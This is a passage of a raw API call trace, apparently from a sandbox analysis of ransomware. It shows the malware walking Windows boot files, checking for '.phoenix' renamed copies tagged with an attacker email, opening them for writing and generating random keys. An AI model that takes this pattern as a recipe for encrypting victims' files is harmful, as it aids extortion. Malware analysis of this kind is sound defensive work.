	[0219.510] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\memtest.exe.mui" (normalized: "c:\\boot\\qps-ploc\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.510] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=54168) returned 1
	[0219.510] CloseHandle (hObject=0x2c0) returned 1
	[0219.510] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\memtest.exe.mui" (normalized: "c:\\boot\\qps-ploc\\memtest.exe.mui")) returned 0x20
	[0219.510] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\memtest.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\qps-ploc\\memtest.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.510] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\memtest.exe.mui" (normalized: "c:\\boot\\qps-ploc\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.511] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.511] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Resources\\bootres.dll" (normalized: "c:\\boot\\resources\\bootres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.511] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=92576) returned 1
	[0219.511] CloseHandle (hObject=0x2c0) returned 1
	[0219.511] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Resources\\bootres.dll" (normalized: "c:\\boot\\resources\\bootres.dll")) returned 0x20
	[0219.511] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Resources\\bootres.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\resources\\bootres.dll.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.511] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Resources\\bootres.dll" (normalized: "c:\\boot\\resources\\bootres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.511] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.511] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Resources\\en-US\\bootres.dll.mui" (normalized: "c:\\boot\\resources\\en-us\\bootres.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.511] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=12192) returned 1
	[0219.511] CloseHandle (hObject=0x2c0) returned 1
	[0219.511] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Resources\\en-US\\bootres.dll.mui" (normalized: "c:\\boot\\resources\\en-us\\bootres.dll.mui")) returned 0x20
	[0219.511] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Resources\\en-US\\bootres.dll.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\resources\\en-us\\bootres.dll.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.511] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Resources\\en-US\\bootres.dll.mui" (normalized: "c:\\boot\\resources\\en-us\\bootres.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.512] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.512] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ro-RO\\bootmgr.exe.mui" (normalized: "c:\\boot\\ro-ro\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.512] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=76128) returned 1
	[0219.512] CloseHandle (hObject=0x2c0) returned 1
	[0219.512] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ro-RO\\bootmgr.exe.mui" (normalized: "c:\\boot\\ro-ro\\bootmgr.exe.mui")) returned 0x20
	[0219.512] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ro-RO\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\ro-ro\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.512] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ro-RO\\bootmgr.exe.mui" (normalized: "c:\\boot\\ro-ro\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.512] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.512] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.513] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=77152) returned 1
	[0219.513] CloseHandle (hObject=0x2c0) returned 1
	[0219.513] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui")) returned 0x20
	[0219.513] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.513] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.513] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.513] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\memtest.exe.mui" (normalized: "c:\\boot\\ru-ru\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.513] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=44960) returned 1
	[0219.513] CloseHandle (hObject=0x2c0) returned 1
	[0219.513] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\memtest.exe.mui" (normalized: "c:\\boot\\ru-ru\\memtest.exe.mui")) returned 0x20
	[0219.514] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\memtest.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\ru-ru\\memtest.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.514] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\memtest.exe.mui" (normalized: "c:\\boot\\ru-ru\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.514] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.514] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sk-SK\\bootmgr.exe.mui" (normalized: "c:\\boot\\sk-sk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.514] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=77144) returned 1
	[0219.514] CloseHandle (hObject=0x2c0) returned 1
	[0219.514] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sk-SK\\bootmgr.exe.mui" (normalized: "c:\\boot\\sk-sk\\bootmgr.exe.mui")) returned 0x20
	[0219.514] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sk-SK\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\sk-sk\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.514] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sk-SK\\bootmgr.exe.mui" (normalized: "c:\\boot\\sk-sk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.514] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.514] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sl-SI\\bootmgr.exe.mui" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.514] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=76640) returned 1
	[0219.514] CloseHandle (hObject=0x2c0) returned 1
	[0219.515] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sl-SI\\bootmgr.exe.mui" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui")) returned 0x20
	[0219.515] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sl-SI\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.515] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sl-SI\\bootmgr.exe.mui" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.515] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.515] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.515] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=77152) returned 1
	[0219.515] CloseHandle (hObject=0x2c0) returned 1
	[0219.515] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\bootmgr.exe.mui")) returned 0x20
	[0219.515] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\sr-latn-cs\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.515] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.515] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.515] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\memtest.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.515] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=44888) returned 1
	[0219.515] CloseHandle (hObject=0x2c0) returned 1
	[0219.516] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\memtest.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\memtest.exe.mui")) returned 0x20
	[0219.516] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\memtest.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\sr-latn-cs\\memtest.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.516] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\memtest.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.516] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.516] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-rs\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.516] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=77152) returned 1
	[0219.516] CloseHandle (hObject=0x2c0) returned 1
	[0219.516] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-rs\\bootmgr.exe.mui")) returned 0x20
	[0219.516] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\sr-latn-rs\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.516] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-rs\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.516] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.516] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.517] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=76128) returned 1
	[0219.517] CloseHandle (hObject=0x2c0) returned 1
	[0219.517] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui")) returned 0x20
	[0219.517] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.517] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.517] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.517] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\memtest.exe.mui" (normalized: "c:\\boot\\sv-se\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.517] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=44952) returned 1
	[0219.517] CloseHandle (hObject=0x2c0) returned 1
	[0219.517] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\memtest.exe.mui" (normalized: "c:\\boot\\sv-se\\memtest.exe.mui")) returned 0x20
	[0219.517] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\memtest.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\sv-se\\memtest.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.517] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\memtest.exe.mui" (normalized: "c:\\boot\\sv-se\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.517] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.518] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.518] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=75096) returned 1
	[0219.518] CloseHandle (hObject=0x2c0) returned 1
	[0219.518] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui")) returned 0x20
	[0219.518] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.518] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.518] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.518] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\memtest.exe.mui" (normalized: "c:\\boot\\tr-tr\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.518] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=45472) returned 1
	[0219.518] CloseHandle (hObject=0x2c0) returned 1
	[0219.518] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\memtest.exe.mui" (normalized: "c:\\boot\\tr-tr\\memtest.exe.mui")) returned 0x20
	[0219.518] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\memtest.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\tr-tr\\memtest.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.518] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\memtest.exe.mui" (normalized: "c:\\boot\\tr-tr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.518] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.519] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\uk-UA\\bootmgr.exe.mui" (normalized: "c:\\boot\\uk-ua\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.519] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=77152) returned 1
	[0219.519] CloseHandle (hObject=0x2c0) returned 1
	[0219.519] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\uk-UA\\bootmgr.exe.mui" (normalized: "c:\\boot\\uk-ua\\bootmgr.exe.mui")) returned 0x20
	[0219.519] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\uk-UA\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\uk-ua\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.519] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\uk-UA\\bootmgr.exe.mui" (normalized: "c:\\boot\\uk-ua\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.519] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.519] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.519] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=63840) returned 1
	[0219.519] CloseHandle (hObject=0x2c0) returned 1
	[0219.519] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui")) returned 0x20
	[0219.519] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.519] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.520] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.520] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\memtest.exe.mui" (normalized: "c:\\boot\\zh-cn\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.520] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=42400) returned 1
	[0219.520] CloseHandle (hObject=0x2c0) returned 1
	[0219.520] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\memtest.exe.mui" (normalized: "c:\\boot\\zh-cn\\memtest.exe.mui")) returned 0x20
	[0219.520] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\memtest.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\zh-cn\\memtest.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.520] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\memtest.exe.mui" (normalized: "c:\\boot\\zh-cn\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.520] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.520] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.520] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=63832) returned 1
	[0219.520] CloseHandle (hObject=0x2c0) returned 1
	[0219.520] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui")) returned 0x20
	[0219.520] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
